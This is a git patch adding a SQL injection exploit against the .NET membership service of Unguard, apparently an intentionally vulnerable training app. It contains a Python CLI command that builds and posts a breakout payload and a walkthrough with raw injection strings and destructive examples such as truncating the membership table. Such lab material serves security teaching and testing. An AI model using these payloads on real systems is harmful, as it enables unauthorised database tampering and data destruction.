From 11dc18a177a61e48cc5c8ac969d0eff241960afc Mon Sep 17 00:00:00 2001 From: sassko <17771943+sassko@users.noreply.github.com> Date: Tue, 9 Apr 2024 09:53:05 +0200 Subject: [PATCH] =?UTF-8?q?=F0=9F=94=A7=20feat(exploit-toolkit):=20Add=20.?= =?UTF-8?q?NET=20SQL=20injection=20to=20exploit=20toolkit=20(#73)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- exploit-toolkit/exploit.py | 40 +++++++++++ .../exploits/sql-injection/README.md | 3 +- .../SQLI-MEMBERSHIP-SERVICE-MARIADB.md | 71 +++++++++++++++++++ .../sql-injection/SQLI-PROFILE-SERVICE-H2.md | 2 +- 4 files changed, 114 insertions(+), 2 deletions(-) create mode 100644 exploit-toolkit/exploits/sql-injection/SQLI-MEMBERSHIP-SERVICE-MARIADB.md diff --git a/exploit-toolkit/exploit.py b/exploit-toolkit/exploit.py index 73bf15c7..ebf5c5b3 100644 --- a/exploit-toolkit/exploit.py +++ b/exploit-toolkit/exploit.py @@ -319,6 +319,46 @@ def sql_inject_h2(sql_command, target): click.echo('Request returned status code %s.' % str(r.status_code)) click.secho('Exploit executed.', fg="green") + +@cli.command() +@click.option('--target', + prompt='Unguard frontend', + default='unguard.kube', + help='The host and port where Unguard frontend runs') +@click.option('--sql-command', + prompt='SQL Command', + help='SQL command to be executed. E.g.: "UPDATE membership SET membership = \'injected\' WHERE 1 = 1;"') +def sql_inject_dotnet(sql_command, target): + """ + Sends an SQL command to be executed on the MariaDB database through an SQLi vulnerability in the membership-service (.NET). + """ + session = requests.session() + if not logged_in(session): + click.echo("Not logged in. Run login command first.") + return + + decoded_jwt = jwt.decode(session.cookies.get('jwt'), options={"verify_signature": False}) + username = decoded_jwt['username'] + + sql_command = str.strip(sql_command) # remove unnecessary leading and trailing whitespace + + # if not already at the end of command, add semicolon to eliminate potential cause of syntax error + if not sql_command.endswith(";"): + sql_command += ";" + + sql_command = "FREE\") ON DUPLICATE KEY UPDATE membership=\"FREE\"; " + sql_command + " -- " + + r = session.post(f'http://{target + frontend_base_path}/membership/{username}', data={'membershipText': sql_command}, + allow_redirects=False) + + click.echo('Request returned status code %s.' % str(r.status_code)) + # status code 400 is returned if e.g. the table is truncated and no membership exists anymore + if r.status_code == 302 or r.status_code == 400: + click.secho('Exploit executed.', fg="green") + else: + click.secho('Exploit failed.', fg="red") + + @cli.command() @click.option('--target', prompt='Unguard frontend', diff --git a/exploit-toolkit/exploits/sql-injection/README.md b/exploit-toolkit/exploits/sql-injection/README.md index f89f6092..1f2ee630 100644 --- a/exploit-toolkit/exploits/sql-injection/README.md +++ b/exploit-toolkit/exploits/sql-injection/README.md @@ -1,6 +1,7 @@ # SQL injection -Unguard has three SQL injection vulnerabilities: +Unguard has four SQL injection vulnerabilities: * [One in the Java `profile-service`](./SQLI-PROFILE-SERVICE-H2.md), which is exploitable through the user biography and allows you to access the h2 database. * [One in the Golang `status-service`](./SQLI-STATUS-SERVICE-MARIADB.md), which is exploitable through the search bar on the Users page and allows you to access the MariaDB database. * [One in the PHP `like-service`](./SQLI-LIKE-SERVICE-REMOVE-LIKE.md), which allows you to remove another user's like on a given post. +* [One in the .NET `membership-service`](./SQLI-MEMBERSHIP-SERVICE-MARIADB.md), which allows you to add or change another user's membership state. diff --git a/exploit-toolkit/exploits/sql-injection/SQLI-MEMBERSHIP-SERVICE-MARIADB.md b/exploit-toolkit/exploits/sql-injection/SQLI-MEMBERSHIP-SERVICE-MARIADB.md new file mode 100644 index 00000000..3155707c --- /dev/null +++ b/exploit-toolkit/exploits/sql-injection/SQLI-MEMBERSHIP-SERVICE-MARIADB.md @@ -0,0 +1,71 @@ +# SQL Injection + +Utilizing [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection) can lead to sensitive data being read +and/or databases to be modified (Insert/Update/Delete). +In addition, administrative operations such as shutting down the DBMS can also be completed. + +Unguard provides the functionality to insert specific membership texts for users on the profile page, and as the membership text +is not checked before being inserted into an SQL statement, it is possible to insert SQL commands which will then be run. + +## Preconditions and Requirements + +For this exploit to work you need: + +* [unguard](../../../docs/DEV-GUIDE.md) deployed and running +* (optional) [unguard-exploit-toolkit](../../INSTALL.md) set up + +## Exploitation + +To inject an SQL command, you simply need to log into Unguard, go to your profile page and click on the membership banner next to +your user text. In the dropdown on the membership page you can either choose between PRO and FREE membership or insert +SQL statements which need to be properly prepared (see the next chapter "w/o Toolkit CLI"). + +### w/o Toolkit CLI + +SQL injections are possible via the frontend. As mentioned before, you can insert a membership text including SQL +code on the membership plan's page. + +An example for an SQL statement to run: + +```sql +INSERT INTO membership (userid,membership) +VALUES (1,"hacked") +ON DUPLICATE KEY UPDATE membership="hacked" +``` + +This will set every user's membership to 'hacked'. + +To have this executed on the database, you need to modify the SQL command: +``` + hacked") ON DUPLICATE KEY UPDATE membership="hacked"; -- +``` + +This snippet can simply be added to the membership freetext field, giving the current user the membership 'hacked'. + +### With Toolkit CLI + +Using the `ug-exploit` tool, SQL statements can be injected. +Make sure to use `ug-exploit login` first, as you need to be logged in to change the membership state. + +Afterwards, use `ug-exploit sql-inject-dotnet` and type your desired command. +When using the CLI, you only need to specify the SQL statement to be injected. In this example, +your input would just need to be: + +```sql +UPDATE membership +SET membership = 'injected' +WHERE 1 = 1; +``` + +A status code of 302 means that the statement was successfully executed, and 500 means that there was an error. + +#### Examples + +Deleting all entries of the table: +```sql +TRUNCATE TABLE membership; +``` + +## Further Details + +* [SQL Injection - OWASP](https://owasp.org/www-community/attacks/SQL_Injection) diff --git a/exploit-toolkit/exploits/sql-injection/SQLI-PROFILE-SERVICE-H2.md b/exploit-toolkit/exploits/sql-injection/SQLI-PROFILE-SERVICE-H2.md index f1ca01a4..06f998b8 100644 --- a/exploit-toolkit/exploits/sql-injection/SQLI-PROFILE-SERVICE-H2.md +++ b/exploit-toolkit/exploits/sql-injection/SQLI-PROFILE-SERVICE-H2.md @@ -58,7 +58,7 @@ In this case, the beginning has to be slightly different to accommodate the synt Using the `ug-exploit` tool, SQL statements can be injected. Make sure to use `ug-exploit login` first, as you need to be logged in to post a bio. -Afterwards, use `ug-exploit sql-inject` and type your desired command. +Afterwards, use `ug-exploit sql-inject-h2` and type your desired command. When using the CLI, you only need to specify the SQL statement to be injected. In this example, your input would just need to be: